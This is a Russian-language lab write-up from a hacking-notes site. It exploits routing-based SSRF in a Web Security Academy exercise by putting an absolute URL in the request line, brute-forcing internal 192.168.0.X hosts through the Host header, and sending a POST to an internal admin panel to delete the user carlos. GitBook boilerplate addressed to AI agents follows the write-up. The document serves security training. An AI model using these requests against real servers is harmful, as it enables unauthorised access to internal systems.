> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/host-header/ssrf-via-incorrect-request-parsing.md).

# SSRF из-за некорректного разбора запроса

### SSRF через ошибочный разбор запроса

Этот учебный пример уязвим к **SSRF на основе маршрутизации**. Сервер неверно интерпретирует хост, фактически указанный запросом. Цель — получить доступ к внутренней панели администратора, а затем удалить пользователя **carlos**.

### Начальное наблюдение

Изменить напрямую `Host` заголовок не работает. Запрос по-прежнему блокируется.

```http
Host: jord4n.pro
```

<figure><img src="/files/b43443dbaac282b08befae587de5b9a149d342d1" alt=""><figcaption></figcaption></figure>

### Обход разбора

Ключевой момент здесь — формат запроса. При использовании абсолютного **URL**, приложение пытается разрешить хост, указанный в строке запроса. Заголовок `Host` затем становится второстепенным.

```html
GET https://0a4600ce03a5ed7982aa3e3c00050023.web-security-academy.net/ HTTP/2
Host: test.com
```

Ответ подтверждает это поведение. Сервер пытается достучаться до `test.com`.

```html
<h1>
    Ошибка сервера: тайм-аут шлюза (3) при подключении к test.com
</h1>
```

<figure><img src="/files/3de755afc4254dbab982231d25181742568e58a3" alt=""><figcaption></figcaption></figure>

### Обнаружение внутреннего хоста

Теперь мы можем просканировать внутренний `192.168.0.0/24` диапазон. Проще всего использовать **Intruder** по последнему байту.

```http
GET https://0a4600ce03a5ed7982aa3e3c00050023.web-security-academy.net/ HTTP/2
Host: 192.168.0.X
```

У `192.168.0.92` адрес отвечает `302` кодом. Этот ответ указывает на наличие панели администратора.

<figure><img src="/files/755fa007c982efe6ea83d9c317c1c6c5d12633c7" alt=""><figcaption></figcaption></figure>

### Удаление пользователя

Определив внутренний хост, мы открываем `/admin`. Затем мы извлекаем CSRF-токен со страницы. Просто отправляем запрос на удаление на внутренний хост.

```http
POST https://0a4600ce03a5ed7982aa3e3c00050023.web-security-academy.net/admin/delete HTTP/2
Host: 192.168.0.92

csrf=Rrh5bY7GRvuOjDW1nTUWrIjaqAdlTvtW&username=carlos
```

Удаление **carlos** подтверждает выполнение лабораторной работы.

<figure><img src="/files/d2b2a0afb48484b2aeaf54d53870a700653ec2a1" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/host-header/ssrf-via-incorrect-request-parsing.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
